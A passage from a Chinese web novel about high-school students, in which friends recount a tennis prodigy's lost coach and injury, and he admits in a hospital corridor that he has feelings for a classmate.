“嗯，这你放心，看我暗号就行。”姜织宁很上道地调高电视机音量，顺便安慰道，“就算被柯译衍发现也没事，如果他敢骂你，我就帮你骂回去。” 这下俞杨彻底放心了。 他长长叹了口气，摆出一副“嘤！我兄弟真的好惨好可怜！”的心痛表情，说：“衍神放弃网球确实事出有因，教练占了一部分原因吧，当然，他亲生父亲那边引发的问题更大。” “因为教练和父亲？”姜织宁若有所思地说，“我看到评论里提到了教练，说他的教练意外去世了。” 俞杨嗯了声：“宁王，衍神有和你说过他为什么会学网球吗？” 姜织宁点头：“运动会的时候聊过几句，柯译衍说他上小学之前身体不太好，经常生病去医院，所以才去学网球。” 俞杨瞬间睁大眼，神色诧异看着姜织宁。 他就是顺嘴一问，都准备好自问自答的姿势了，没想到，柯译衍居然和姜织宁说过这码事。 可以啊！ 看来宁王在柯译衍心中的地位很不一般。 “对，就是这个原因。”俞杨回神，接着说，“衍神一开始接触过挺多体育项目，后来他学了网球，教练看他有天赋，条件好，就问他有没有兴趣去省队” “这个我知道。”姜织宁弯唇打断他，插话道，“听说柯译衍拒绝教练了，还说我想想啊，哦，他还说自己更喜欢学习是吧？” “啊？这你也知道？也是他和你说的？”俞杨目瞪口呆。 她笑道：“那没有，有次练舞时大家闲聊嘛，隔壁班菲菲偶然提了嘴，应该是吴瑞奇和菲菲说的。” 他张嘴呃了声，无语道：“吴瑞奇就是我和他说的啊！服了，我明明提醒过他别乱传！哎哟，他这个大嘴巴，改天我得带他来医院治一治，不然漏风！” 姜织宁抿唇笑了几声。 俞杨：“这话吧，听着确实凡尔赛，不过对衍神来说很正常，他那时候年纪小，才上小学嘛，纯把网球当兴趣爱好。柯译衍他外公搞音乐的，所以希望衍神以后也学音乐，他舅舅做生意，就希望衍神以后能接手企业。” “这么说的话，”姜织宁会意问，“柯译衍家里并没有让他打职业的规划？” 他点头：“对，没这个规划，但也不阻拦，主要看他个人想法。其实很多从小就练网球的人，绝大部分不会转为职业球员，很正常的，有些人没这方面意向，有些人是年纪上来了，确实打不出成绩。” “职业球员这条路，很不容易，职业网坛竞争特别残酷。”他叹了口气，唏嘘说，“有多少昔日耀眼的青少年球员沉寂于职业网坛，昙花一现。” “那柯译衍有打职业的想法吗？”姜织宁顺势问。 “怎么说呢，算是到了很后面才有，也就这两年，他才萌生打职业的想法。”俞杨思考片刻，说，“在他和第三位教练合作之后。” “产生打职业的想法之前，虽然衍神只把网球当兴趣爱好，但在训练方面，他也是下了苦功的，他和我们这种从小就专业规划打网球的人没什么区别，经常随队飞去国外训练。” 姜织宁评价：“挺不错的，看来他是真心喜欢网球。” “怎么讲呢，除了喜欢，其实还有点隐情在。” 他深深叹了口气，心情五味杂陈地说：“衍神他父母很早就离婚了嘛，离婚后爸爸那边抛弃，妈妈又冷落他好多年，就导致衍神小时候性格很冷漠，放学后也不愿意回家，经常独自跑去网球俱乐部，练球练到很晚才回家。” 姜织宁蹙眉收起笑容。 俞杨：“后来我们飞去西班牙夏训的时候，柯译衍碰到了他人生中的第三位网球教练，那个教练叫Peter，四分之一中国血统，外婆是华裔。” 姜织宁轻声问：“是不是意外去世的那一位？” 他叹气点头：“对，就是他。去年衍神刚拿下温网青少年冠军没多久，Peter就意外空难去世，遗体都找不到，最后家属只能领回去一罐土。” “教练去世对柯译衍影响很大吗？” 他说：“特别大，温网之后就是美网青少年赛，柯译衍为了Peter的事，直接退赛了，那段时间他一直在让家里人帮助Peter的家属。” 姜织宁无言沉默，为柯译衍的沉重过往而感到揪心，心中浮起一种同病相怜，似被困在漫长雨季，无法呼吸的压抑情绪。 俞杨怕她不理解柯译衍干嘛这么做，便解释说：“因为退赛这件事，后援会那边就开始骂衍神，说教练不就是合作关系，有什么影响之类的风凉话，简直无语到家，他们懂个屁啊！别说我们这个年纪了，那职业网坛里，好几个名将，不也是因为家人去世，状态迅速下滑吗！” 他感慨说：“网球和其他运动不太一样，算是个人运动，教练是合作关系，球员是老板，这没错，但Peter在衍神心中绝对不止教练这么简单，彼此更像是家人。” “网球教练很好找，但和球员互相成就的好教练特别难找，不是我说话难听，有些教练压根没有职业道德，只知道盯着钱看。” “Peter人特别好，特别敬业，业务水平那就更不用说了，衍神的成绩就是最好的证明，16岁，连拿两个大满贯青少年冠军，真心很牛了！衍神就是因为Peter，才萌生出打职业的念头。” 姜织宁完全理解俞杨说的这些，平静道：“良师益友，伯乐知音，可遇不可求。” “对，你懂我！”俞杨用力点头，继续说，“除了教练身份，Peter对待衍神就像父亲一样，关怀照顾，各方面极其上心，在衍神身上倾注了很多心血。” “你没见识过衍神小的时候，他那副冷漠自我、不可一世的有毒模样简直和现在没法比，也不怪他，毕竟父母从小缺位，和Peter相处之后，衍神的性格才一点点变好起来。” 说完，他第N次叹气：“只能说，Peter和衍神之间的情分真的不一般，对于衍神来说，Peter去世，等同于他失去了家人，当然，没感情的喷子是理解不了这些的。” 话题过于沉重，一时间，病房陷入寂静。 片刻，姜织宁忽然想起一事，开口说：“我记得评论里说，今年年初柯译衍参加了场比赛，但是爆冷出局了？” “哦对对对！”俞杨猛拍了下大腿，接话道，“还有下半段没讲，没错，年初那场是澳网青少年赛，他赶去赛场的路上意外出了车祸” “车祸？”她立马打断问，“柯译衍没事吧？” “不是严重车祸，就是追尾了，当时衍神小腿有点痛，但他教练心大，没让医生仔细检查，直接让人上场比赛，衍神自己也没察觉出问题，结果比赛中途疼痛加剧，身体状态不好，就输了。” 他无语翻了个白眼：“后来去医院一查，医生说，衍神的小腿被他自己给打骨折了。” 姜织宁：“啊？” “所以就不应该坚持比赛，否则也不会骨折！那骨折怎么办，伤筋动骨一百天，只能错过赛季静养呗，唉，都怪那个教练！” 她问：“是新教练吧？” 俞杨点点头，低声说：“对，Peter去世那会儿，衍神整个人消沉了一段时间，但他没有放弃网球，Peter肯定也不希望、不允许他就这么轻易放弃。” “后来柯阿姨主动出面，帮衍神找了个新教练，一开始大家都没想到新教练有问题。结果这教练不仅在背后诋毁Peter，而且还是衍神生父那边的人。” 姜织宁不解问：“什么意思？” 俞杨冷笑一声，嘲讽道：“衍神生父叫什么来着，时哦对了，叫时征，时征发现亲生儿子的网球成绩这么优秀，闻着味就来了呗！” “他想把衍神带回时家，时家关系很复杂的，事情经过我也不太清楚，好像说，柯阿姨也是被前夫骗了，所以才找的这位教练。” “澳网青少年赛我没去现场，很多事情不清楚，只知道衍神在骨折住院期间把新教练解雇了，出院后，他在墨尔本和时征见了一面，估计那次见面两人闹得很不愉快，肯定是发生了什么，否则衍神回国后为什么突然转学？为什么放弃网球？” 俞杨摊开双手：“事情经过就是这样，这就是我知道的全部。” 姜织宁蹙眉问：“你有问过柯译衍吗，当时在墨尔本发生了什么。” “问了，但他闭口不提，唉，我也不敢多问啊，毕竟他回国后状态那么差，像在自我放逐一样。” 一想到这，俞杨忍不住骂了几句脏话，心里难受地说：“怪心疼的，衍神在网球上很有天赋，也很努力，他去年横扫两个冠军，我们几个朋友特别高兴，都以为他会前途无量，谁知道呢，意外来得这么快，唉。” 姜织宁垂眸盯着手里的平板，正想询问当时还有谁在现场，余光忽然瞄见柯译衍来了。 而且人都快走到床尾了！ 救命，这人是阿飘吧！ 走路真的没声音啊！ “”姜织宁神色滞了秒，随即强压住砰砰心跳，重重咳了声，视线瞄向柯译衍手里的袋子，镇定问，“那是什么啊？” “嗯？”俞杨没反应过来，顾自嘟囔说，“就是意外嘛，衍神不是” “咳咳咳咳” 姜织宁吓得用力咳嗽起来。 好在这回，俞杨终于发现了柯译衍的存在。 他愣了愣，大惊，也吓得剧烈咳嗽起来，嘴里的话强行拐了个弯：“咳咳咳不不不咳咳衍神不是来了吗！！！” 两人齐刷刷盯着柯译衍，脸上摆着几分遮掩不了的做贼心虚。 场面诡异。 柯译衍：“” “百合雪梨银耳羹。”柯译衍把袋子放到床头柜上，下一秒，面无表情质问，“刚才干什么？什么意外，你们俩在说我坏话？” 姜织宁连忙摆手否认，义正言辞表示：“胡说，我是那种人吗？柯译衍，我想吃桑葚，医院门口那家水果店有卖。” 俞杨跟着严肃脸否认：“就是，一派胡言！我是那种人吗？！” 柯译衍：“” 不对劲，气氛很不对劲。 这两人绝对在做坏事，指不定就在背后骂他。 “我想吃桑葚。”姜织宁眼巴巴望着柯译衍，催了句，“想了一早上，想到心痛，想到头痛。” “”柯译衍瞥她一眼，平静说，“嗯，想了一早上也不和赵姨说，就知道使唤我，真行。” 姜织宁抿唇笑起来：“感恩的心！感恩的心！” 俞杨笑嘻嘻走到柯译衍身旁，胳膊亲密搭上他肩膀，谄媚表示：“走啊衍神，我陪你一起去啊？” “走开。”柯译衍冷脸甩开咸猪手。 俞杨双手做作捂胸，戏精抹泪状：“嘤，你怎么能嫌弃我啊？！心好痛，难道我们不是朋友吗？！” “没你这种朋友。” 目送柯译衍出门后，俞杨立马扭头看向姜织宁。 两人默契松了口气，异口同声：“吓死我了！”【你现在阅读的是 】 70-80 第71章 你真喜欢宁王啊？！ 柯译衍乘电梯到一楼, 在大厅门口碰上姗姗来迟的韩辰。 “衍神，干嘛去呢？”韩辰叫住他。 柯译衍：“给她买桑葚。” 想都不用想，韩辰就知道她是谁, 他臭不要脸地报起菜单：“我要提子，青提。” 柯译衍止步扭头, 困惑看向韩辰。 “干干嘛？” 柯译衍面无表情：“水果店在门口，手脚没断就自己走过去, 别让我鄙视你。” “哈？我就想吃个提子，怎么就上升到鄙视高度了？？？”韩辰不可思议瞪着他, “不就顺路帮忙带份水果吗, 反正你都要去水果店啊！怎么了, 难道我不配拥有？” 很好，还算有自知之明。 “不配。”柯译衍毫不客气回了句, 转身就走。 韩辰：“” 冬天了，这个心啊, 果然拔凉拔凉的，捂都捂不热！ 韩辰不爽啧了声, 从兜里掏出手机，给俞杨发了条微信, 让他赶紧下来接驾, 故意说自己迷路了。 接驾？ 俞杨收到信息后当场翻了个白眼, 嫌弃吐槽道：“啧啧啧, 韩大明星又犯矫情病，宁王, 我去楼下接他啊。” 下楼找到韩辰, 两人坐电梯去病房，前脚刚进门坐下, 后脚就见柯译衍拎着筐桑葚走进来。 进门后，柯译衍瞄见带来的百合雪梨银耳羹放在柜子上没动，冷淡目光立马斜向俞杨，冷声骂道：“就知道坐着，不知道给她打开？” “” 莫名挨骂，俞杨无声张了张嘴，满脸无辜看了眼姜织宁。 他心说，不是，他才刚进门哎而且宁王也没说想吃银耳羹啊 靠，他好冤 柯译衍把小饭桌装到病床上，银耳羹和餐具放到姜织宁面前，紧接着洗干净桑葚，装入瓷碟，摆到姜织宁手边。 姜织宁什么都不用做，只需要等着，几乎是饭来张口的程度，哪怕柯译衍亲自喂到她嘴边，韩辰也不觉得奇怪。 韩辰目不转睛，默默观察着两人，看着看着，突然意味深长感叹起来。 “瞧瞧！瞧瞧！哎哟喂，咱们衍神真是辛苦啊！关心啊！操劳啊！他真的对宁王太太太太太好了，瞧瞧这独一无二的专属服务，别人享受不到的！” “怎么着？”俞杨好笑斜他一眼，“你羡慕啊？” 韩辰哼声：“是羡慕呗，刚在楼下碰见衍神去买水果，我让他帮忙带份青提，你猜他回我什么？” “绝对骂你了。” “你怎么知道？”韩辰震惊脸。 “矫情逼！”俞杨不屑哼了声，“我看你就挺欠骂的，居然敢让我接驾，信不信我上网发小作文说你耍大牌。” 韩辰：“衍神让我手脚没断就自己走过去，你就说这话寒不寒心吧！” “该！”俞杨不客气骂道，“寒心个毛线！你又没生病，走两步怎么了？要我我也骂你啊！” 韩辰：“” 得，他还是闭麦吧。 闲聊了一会儿，眼看时间差不多，韩辰和俞杨起身准备离开，柯译衍也有事要走。 同一时间，姜颖笑着推开房门走进来。 女人身后跟着一对衣着光鲜的中年夫妇，是蔡从父母，专程过来探望姜织宁。 姜颖进门瞄见柯译衍几人，都是眼熟面孔，便微笑着对他们点了点头，俞杨和韩辰顺势礼貌打了声招呼。 蔡从妈妈随后走进来，意外发现有男生在场，脸上笑容收了下，打量目光从三人脸上依次扫过，然后疑惑看向姜颖，问道：“这几位是？” “都是宁宝的同学。”姜颖解释。 蔡妈妈纳闷心想，这男同学一个个都长这么帅啊？ 这时，姜织宁笑着喊了声：“蔡阿姨，蔡叔叔。” 蔡妈妈迅速浮起笑脸，快步走向姜织宁床边，心疼打量着她，“哎哟宁宝，怎么就住院了呢！快让阿姨看看，你看看，都瘦了！” “有嘛？”姜织宁笑眯眯摸了摸脸颊。 “有啊！”蔡妈妈蹙眉叹了口气，说，“原本我和你蔡叔前天就要来看你，结果临时被急事给耽搁了，对了，蔡从也来了。” 说着，她扭头瞪向丈夫，不悦质问，“你儿子呢？！做事情磨磨蹭蹭的，去哪了，怎么还没上来！” 夫妻俩在来医院的路上当着蔡从的面大吵一架，这会儿蔡父还在气头上，男人眉眼沉沉，敷衍说：“应该在电梯里，你急什么。” “我急什么？”蔡妈妈瞬间柳眉倒竖，斥道，“我急宁宝生病！探望病人有你儿子这么慢吞吞的？这是什么态度啊？一天天的也不知道像谁，算了，我懒得和你多说！” 女人迅速变脸，回头笑看着姜织宁，“没事啊宁宝，蔡从马上过来了，他要拿礼品，走路是要慢一点。” 姜织宁怕两人一言不合吵起来，毕竟她见过好几次夫妻俩声嘶力竭，吵得不可开交的恐怖大场面，她连忙业务熟练地反向安慰：“阿姨不着急的，反正没什么事，您和蔡叔先坐一下嘛。” 病房门悄无声息合拢。 因为蔡从父母的出现，韩辰突然不着急走了，他一屁股坐到走廊椅子上。 俞杨停下脚步，纳闷看着他：“你不是说要回公司吗，怎么坐这不走了？” 韩辰轻咳一声，对柯译衍说：“聊个五毛钱的。” 柯译衍：“？” 什么五毛钱？ 这人有病吧，发什么神经。 韩辰无奈叹了口气：“经纪人和我说车要晚点到，我现在无家可归没地方去啊，只能在医院等着了，总不能留在病房里打扰人家吧。” 他拍拍旁边椅子，神神秘秘地冲两人招手，刻意压低声音说：“快快快，你俩都坐下，聊聊天，我有很重要的话要说！” 什么鬼东西？ 俞杨一头雾水看向柯译衍。 “有屁快放。” 柯译衍脸上没什么表情地坐下，懒散靠向椅背，双臂环至胸前。 “就那个谁”韩辰下巴微抬，指了下病房，直截了当地问，“你对宁王，到底是怎么想的？哎，你可别说没想法啊，你要是不喜欢姜织宁，我韩辰当场倒立下楼，说到做到！” 又来了，又来了 韩大明星又开始胡说八道了 柯译衍没说话，俞杨率先无语偏头笑出了声。 他是真的服了哎！ 柯译衍老说他是戏精，分明韩辰才是戏精之王他祖宗吧！ 俞杨狂翻白眼，坐到戏精之王身边，苦口婆心地说：“辰啊，到底知不知道自己为什么会挨骂？就是因为你主动找骂啊！你说你，怎么就不长记性呢，说话能不能注意点？哎哟，瞧给我急的！” “一边凉快去！”韩辰不耐烦推开俞杨，嘲讽道，“你懂个屁！” “居然敢骂我？！”俞杨立马用胳膊圈住韩辰的脖子，皮笑肉不笑地说，“你小子今天完蛋了，找打是吧，给我死过来！” “喂！放手！别碰我啊！” “就碰你怎么了？就碰你怎么了？打你打你就打你！” “靠！报警了！” “你报你报！要不要借你手机？”俞杨嬉皮笑脸嚣张说。 俩男生互不退让，就势打闹起来。 这个年纪的男生就是这样，骨子里装满了幼稚。 柯译衍目无情绪瞥了眼打闹的两个人，平静收回视线，眼眸微垂，沉默不语盯着病房门。 他现在没闲心管这些。 因为韩辰直白、不客气的挑明，他连日以来郁闷烦躁的低气压情绪在这一刻被无限放大。 …… 对于幼时的柯译衍来说，离别并不奇怪，也并不会感到丝毫惋惜，因为离别是他从小就习惯的事。 家人至今全都健在，但他总是一个人。 独自上下学，独自集训，独自比赛，独自处理着一切。 小朋友的感情纯粹充沛，一场为期短暂的训练营就能结下深厚友谊，在离别的那天，彼此依依不舍，互相用力拥抱，哭得眼泪鼻涕直流。 每一次，柯译衍都是那个冷着脸，被其他人拥抱的小朋友，情绪冷静得不像话，像个怪孩子。 他当然不会哭，甚至无法理解离别的滋味。 直到他在乎的人教练Peter突然去世后，他才明白什么是真正的离别，才意识到生命无常，原来，想见的人不一定会再见。 生命很顽强，却又很脆弱。 他来医院帮忙的这几天，看着躺在病房里的姜织宁，心里总会感到紧张，因为害怕突然的离别。 直到现在，他依然没学会接受离别，他不想学会。 姜织宁挺爱笑，哪怕身穿病号服，也不影响她笑盈盈，也有不笑的时候，她安静躺在病床上时，那股自由蓬勃的生命力便消失不见了。 他的眼里，只剩下她因为留置针而青肿的手背，苍白的脸色，刺眼的病服。 少女仿佛一株脆弱的花。 医生说过，肺炎不能轻视，尤其是有基础疾病的病人，点名姜织宁这类人。 前两天，柯译衍陪舅舅过来探望姜织宁。 准备离开时，他们亲眼目睹隔壁房病人因重症肺炎被紧急推进ICU，那人只比姜织宁大几岁，是大学生，至今还在ICU躺着，医生和家属说情况不容乐观，可能这段时间要做好心理准备。 家属闻言哭得快要晕倒，姜颖帮忙扶了两把，一瞬间，她心里联想到姜织宁，眼眶迅速泛红，也跟着无声落泪。 安顿好隔壁房家属，柯绍之温声安慰姜颖没事的，姜颖一边落泪一边大发脾气，吼着：“你懂什么！当年哥哥嫂子就是突然走的！” 柯绍之把她揽进怀里，缓缓拍背安慰。 柯译衍沉默靠墙站着，侧目望向不远处默默擦泪的隔壁房家属。 周围人总是夸他内核沉稳冷静，夸他做事情靠谱，特别有安全感，夸他有颗大心脏 其实，他知道自己并非无所不能。 和所有人一样，他也会彷徨，会紧张，会害怕。 他不想再一次经历离别。 因为姜织宁是他在乎的人 心里很烦。 不知道从哪一瞬间开始，对姜织宁超出朋友界限，毫无道理的情感变化让他心生烦躁。 鉴于内心反复无常，这段时间，柯译衍再度陷入了漫无边际，长久的沉思。 想了很多，很不愿承认，但事实证明，他还是喜欢姜织宁。 心里也很清楚，这一次，并不止是Crush这么简单。 微小的心动起始于蝴蝶振翅，经过时间酝酿，悄无声息地演变成一场名为心动的剧烈风暴。 他站在风眼中心，无法像最初那样，镇定自若地寻找借口，责怪其他人。 因为他清楚的知道，姜织宁是个由内而外都无比耀眼的人，哪哪都吸引着他。 他被她轻易拿捏，心甘情愿。 所以吧，现在想来，他就知道不能和姜织宁做同桌，不能一起吃饭，不能天天见面，接触多了，Crush就不是Crush了，真变成暗恋了。 那股心头情愫宛如野火燎原，越烧越旺，完全不受自控，令他特别郁闷、烦躁。 最初对姜织宁刻意冷淡、刻意疏远，并不因为其他，而是他认为，如果和她走得太近，也许单纯浅薄的好感会因此变得复杂化。 之后又觉得问心无愧，他才会答应姜织宁做朋友。 那时候，他脑子里根本没想乱七八糟的事，颇为自信地心想，一点好感而已，这点克制力他还没有吗？ 有什么难，调整心态罢了，指不定成为朋友后，他就会对姜织宁祛魅，要不然怎么说距离产生美。 嗯，纯友谊挺好。 可现在看来他是真没有。 他高估了自己，把情感想得太简单，没想到变数，这事不像打网球，所谓的大心脏，所谓的运筹帷幄起不到任何作用。 他一惯以来的沉稳冷静，所有种种，被这场心动风暴干扰得全部失灵，消失不见 独自沉默了会儿，柯译衍无声叹了口气，掀眼，目光朝右侧挪时，忽然发现蔡从出现在走廊拐角处。 男生左手拎了篮生机勃勃的鲜花，右手就比较离谱了，起码提了七八个还是十多个大礼袋。 他脚步慢吞吞地走过来，整个人看上去好似疲惫的跑腿小哥。 这么一看，连柯译衍都觉得蔡从被骂得有点冤。 没走几步路，蔡从脸色不爽停下来，将那些死沉的礼品往地上一搁，他的手快要被这些东西勒断了！ 花篮很重，底下全是湿的花泥，也放下。 全是父母买给姜织宁的礼品，好家伙，居然让他一个人拎上来，还不允许司机帮忙，说这样更能表现心意。 就无语，什么心意不心意，他都和姜织宁认识多少年了，至于么？ 父母下车先行一步后，蔡从生无可恋望着堆满车后箱的礼品，赖在停车场和司机掰扯了半天，想让司机帮忙一起拿上来。 最后甚至退让到不用拿上楼，帮他拿进电梯就行，结果司机特别有原则，只听令于他父母，他嘴皮子说干都没用。 逼的他都想问问司机，你是不是不想干了？ 掌心被礼品袋的细绳勒得通红，蔡从无语甩了甩手腕，换了只手拿花篮，左手拎起那些沉重礼品。 走了几步路，他再度停下脚步，脸上露出几分茫然。 等会儿，姜织宁住哪间病房来着？ 九零几啊？ 903还是909啊？ 手上东西这么多，他现在一步也不愿多走，手机在左侧裤兜里，没电了，他应该去问谁 想到这，蔡从无语望天，深深叹气。 另一边，忙着打闹的俞杨突然惊觉蔡从的存在，人懒洋洋地站在斜前方位置。 卧槽！ 青梅竹马来了！ 韩辰的洗脑还是有点效果的，俞杨愣了愣，倏地停下挥向韩辰的魔爪，下意识飞速扭头看向柯译衍。 柯译衍面无表情，但他怎么觉得气氛有点不对劲啊。 蔡从懒得走去服务台问，准备从903病房开始，不要脸地一间间找过去，正准备敲门时，他似有所觉，侧目对上两道暗中观察的视线。 “” 俞杨和韩辰都没想到蔡从会突然回头，两人同时滞了秒，立马心虚看向彼此。 蔡从心想，这俩人都是生面孔，不认识，不过，坐在最右边的那位黑衣酷哥就很眼熟了。 他是高三牲，平时不问世事，除了学习，就是沉迷打游戏，但也不至于孤陋寡闻到不知道江中校草是哪位。 他还知道对方打网球很厉害，看样子，这酷哥应该是来看姜织宁的。 想了想，蔡从放下手中东西，放弃不要脸行为，直接转身走向柯译衍。 见状，俞杨韩辰齐刷刷盯着柯译衍。 俞杨心脏砰砰狂跳，眼睁睁看着蔡从越走越近，拳头逐渐握紧，心里紧张得不行。 他下意识戏精发作，脑海里疯狂环绕着世界大战的风暴。 干嘛啊？ 蔡从突然过来干嘛啊？ 不会是过来找事吧？！ 就就就就不可能！ 他以人格担保！对天发誓！ 他兄弟柯译衍，根正苗红！纯情男高！道德感拉满！绝对不可能丧心病狂做出撬墙角的事！ 否则他天打雷劈！！！ 蔡从在柯译衍面前站定，没废话，直言问：“哥们儿，你是姜织宁同桌吧？” 柯译衍平静抬眼，不冷不热嗯了声。 蔡从：“那你知道她住哪间病房么？903？907？909？” 柯译衍：“” 韩辰：“” 俞杨：“” 俞杨都想翻白眼了，心说，这蔡从是猴子请来的逗逼吗，也是厉害，就没一个猜对的，这是什么青梅竹马啊？对宁王太不上心了吧！ 柯译衍没想到蔡从过来就是问这个，无语了秒，淡声说：“906。” 蔡从恍然大悟哦了声：“原来是906啊。” 就在这时，906病房大门打开，蔡妈妈面容不悦地走出来。 她给蔡从打了好几个电话，结果怎么也打不通，她当即给司机拨去电话问怎么回事，司机却说蔡从已经坐电梯上去了。 上去了？ 那人呢！ 在哪里！ 鬼影都没看到！ 蔡妈妈气得亲自出来找人，刚走出门口，就看见蔡从两手空空，正和姜织宁那帮同学闲聊。 女人当场两眼一黑，飞快走到蔡从身后，抬手往他背上猛拍一掌，黑脸骂道：“我让你来探病，你倒好，悠哉站这里聊天！鲜花礼品呢！没拿上来是吧！” 蔡从痛得倒吸气，无奈转身，抬手指向不远处：“拿了，这不是好好放在那边吗，一个都没少。” 女人顺势看去，又是两眼一黑，更生气了。 “我让你拿到病房里，你给我当耳边风放地上，居然还放在903门口？！” 蔡从反手揉着背，没脸没皮地说：“这不是忘了哪间病房吗，就过来问问呗，我可没有闲聊啊。” “906！906！” 蔡妈妈恨铁不成钢地瞪着蔡从，连声斥道：“宁宝住哪个病房你都不知道？来医院的路上我说了多少遍？你脑子里除了游戏还有什么啊？有你这样探望病人的吗？鲜花我来拿，其他东西你拎着，赶紧给我滚进来！” 蔡从懒散拖着嗓音嗯了声，离开前，不忘和柯译衍道了声谢。 母子俩前后脚走进病房，房门再度关上。 “”俞杨茫然数秒，呆呆啊了声，十分不理解地看向柯译衍，“就这？” 韩辰也看不懂这是什么剧情，跟屁虫说：“就这？情敌就来问个路？” “把嘴闭上。”柯译衍冷淡发话，迅速瞥了眼906。 “听见没？叫你把嘴闭上！什么情敌不情敌的，嘴巴长着只会胡说八道！”俞杨顺势骂道。 俞杨想想就觉得很无语，刚才他脑子里的那些丰富内心戏绝对是鬼打墙！ 都怪韩辰！ 要不是戏精之王乱扯，他也不会胡思乱想，看吧，人蔡从只是过来问个路而已，差点冤枉人家。 韩辰切了声，坚持己见：“他是叫我闭嘴，但他没否认喜欢姜织宁。” “这还用否认吗？看你这么不死心，俞老师就好心成全你一次，”俞杨转头冲柯译衍说，“衍神啊，咱们走个流程，给他否认下。” 话音落下，无人回应。 柯译衍一言不发，沉默着。 “呃”俞杨看着柯译衍，小心翼翼催了句，“衍衍神？” 沉默。 回应他的，依然是沉默不语。 韩辰笑起来，手臂撞了撞俞杨肩膀，脸上一副“我就知道！”的得意表情，说：“看见没，默认。” 不是，柯译衍怎么不说话啊？ 不妙的第六感在脑海中疯狂大爆炸。 “你走开！”俞杨不耐烦甩开韩辰的骚扰，震惊问道，“衍神啊，你该不会真喜欢宁王吧？？？！！！” 柯译衍深深叹了口气，仰头看向天花板，破罐子破摔地低嗯一声，冷淡说：“有你一份功劳，需要我说声谢谢么？” “” 俞杨震惊啊了声，嗓音都惊得变调了。 不是，这话说的，怎么还怪上他了呢？？？ “真的假的？”他不死心追问，“你没开玩笑吧？” “假的。”柯译衍冷声说。 俞杨：“” 得，这下确定了，柯译衍真的喜欢姜织宁！ 很震惊，与此同时，俞杨心里还有几分茫然和恐慌，因为他刚才对天发毒誓了 沉默三秒后，他忍辱负重地说：“刚才蔡从走过来的时候，我特意为了你，以人格担保，对天发毒誓！天气预报说，明天会打雷下雨，你给我做好收尸的准备！” 莫名其妙，柯译衍面无表情侧目斜他一眼：“我让你发誓了？” “是没有。”俞杨瞪着他，痛心疾首嚷嚷起来，“但你给了我发誓的底气啊！谁知道你真喜欢宁王啊！反正我要被雷劈了，你不给我收尸的话，我做鬼也不会放过你！” 柯译衍冷嗤：“没听见你发誓。” 俞杨：“心里啊，说出来还会灵吗！你听没听见不重要，反正老天爷听见了！” 柯译衍：“” “哎哎哎！”韩辰忍不住推了下俞杨，皱眉提醒，“你要不要再大声一点，我怕病房里的人耳聋听不见。” 俞杨立马闭嘴，站起来左右张望两眼，然后指着走廊尽头，压低嗓门说：“这里太危险了，对面就是906，我们坐那边聊。” 柯译衍无语起身，被迫跟着挪位。 第72章 撬撬墙角？ 俞杨很快接受了柯译衍喜欢姜织宁的事实。 姜织宁在他心中一直是滤镜拉满的女神级别人物, 不仅漂亮，性格也很不错，他理所当然地认为, 怎么可能会有人不喜欢姜织宁呢？ 除非眼瞎。 但问题是，石莜在微信里说的白月光, 又是什么意思？ 俞杨脑子里突然蹦出这件事，越想越不对劲, 他心里一惊，目光狐疑地转向柯译衍。 心想着, 该不会……柯译衍同时喜欢两个女生吧？ 靠, 那不就是渣男吗！ 难怪这人长了副渣男脸！ 察觉到突如其来的怒视, 柯译衍眼尾往左边轻瞥，冷声说：“干什么？” 俞杨满脸鄙视瞪着他, 破口大骂：“搞七搞八，渣男啊你！” 柯译衍：“？” 想了想措辞, 俞杨轻咳一声，半鄙夷半谨慎地开口：“那个, 前阵子石莜是不是和你表白了？” 柯译衍不冷不热嗯了声。 “我就说呢！”俞杨瞬间打起精神，猛拍大腿道, “难怪她突然在微信上找我, 尽问些和你有关的奇怪问题, 那石莜和你表白后, 你是怎么回的？” 柯译衍神色平静，“除了抱歉还能说什么。” 俞杨满意松了口气, 态度立变, 表扬道：“意思你拒绝了，很好, 刚才误会了，你不是渣男，你是好男。” 柯译衍：“？” 好男？ 什么鬼东西。 俞杨纳闷问：“所以你有白月光是什么鬼？” 韩辰听得入神，闻言，惊诧插嘴：“柯译衍你居然还有白月光？！” “什么白月光？”柯译衍没搭理他，皱眉反问。 俞杨如实道来：“就石莜啊，她在微信上和我说你有白月光，我那会儿以为她在开玩笑，就没放心上，她说的白月光，是宁王吗？” 柯译衍不记得自己说过什么白月光。 前不久，石莜单独约他到网球场见面，她当面表白的时候，他没太意外，火锅店那次便有所察觉。 他拒绝她的表白后，石莜一连追问了好几个问题。 问他是不是有喜欢的人。 他承认。 问那个人是不是姜织宁。 他沉默。 石莜没得到明确回应，心里有点拿不准，便换着问，喜欢那个女生多久了。 他说挺久。 估计石莜是因为他说的挺久，误以为他心里有白月光，不过，白月光这三个字放姜织宁身上也没毛病。 柯译衍收回思绪，望向落地窗外。 道路两排的乔木绿叶落尽，只剩下光秃秃的枝桠在凛冽寒风中摇摆，毫无生机，毫无温度，就和他现在的心情一样。 “不然还有谁。”柯译衍嗓音低沉，烦闷回了句。 俞杨：“” 突然词穷，不知道该说什么好。 主要这个事吧，就很他妈棘手 他是姜织宁的粉丝，但他也是柯译衍从小到大的好兄弟，唉，柯译衍喜欢谁不好，偏偏喜欢上有青梅竹马的姜织宁 他这兄弟，从小到大没谈过恋爱，结果第一次对女生动心，就碰上天大的阻碍 网球网球低谷期，没法继续走下去，喜欢个人，又是各种不顺利！ 该死的命运，该死的老天，为什么要作妖？能不能给他兄弟来点好事！柯译衍已经够惨了好吗！ 唉，这他妈怎么搞啊！ 说白了，要么是无疾而终的暗恋，等高中毕业，大家跟满天星似的，各散四方难见面。 要么就是横刀夺爱，撬撬撬撬墙角？ 虽然这听上去很刺激，但会不会有点不道德啊? 他刚刚和老天爷发毒誓，说柯译衍根正苗红，道德感拉满，绝不可能丧心病狂撬墙角 手心手背都是肉，他一点也不希望姜织宁和柯译衍经历乱七八糟的事，想到这，俞杨忍不住深深叹气。 唉，好他妈无语凝噎！ 在今天之前，俞杨内心强烈鄙视撬墙角，无语了好一会儿，他突然认真看向韩辰，表情别扭，语气不自然地说：“咱们一起看电影那次，你说的有关那什么的剧本，后面剧情是怎么发展的？” 韩辰困惑啊了声：“什么剧本？” “啧，就那个啊，”俞杨心虚偷瞄四周，嗓音压到最低，“撬墙角文学剧本啊。” “哦，那个啊，”韩辰恍然大悟，狐疑说，“你干嘛？这么做贼心虚想干嘛？” 俞杨深深吸气，瞪眼，一字一句反问：“这是什么值得炫耀，很光彩的事吗？” “那你还问。”韩辰更不理解了。 “两码事，了解一下怎么了，你说不说！” “说说说，嘶你别打我啊，很痛！” 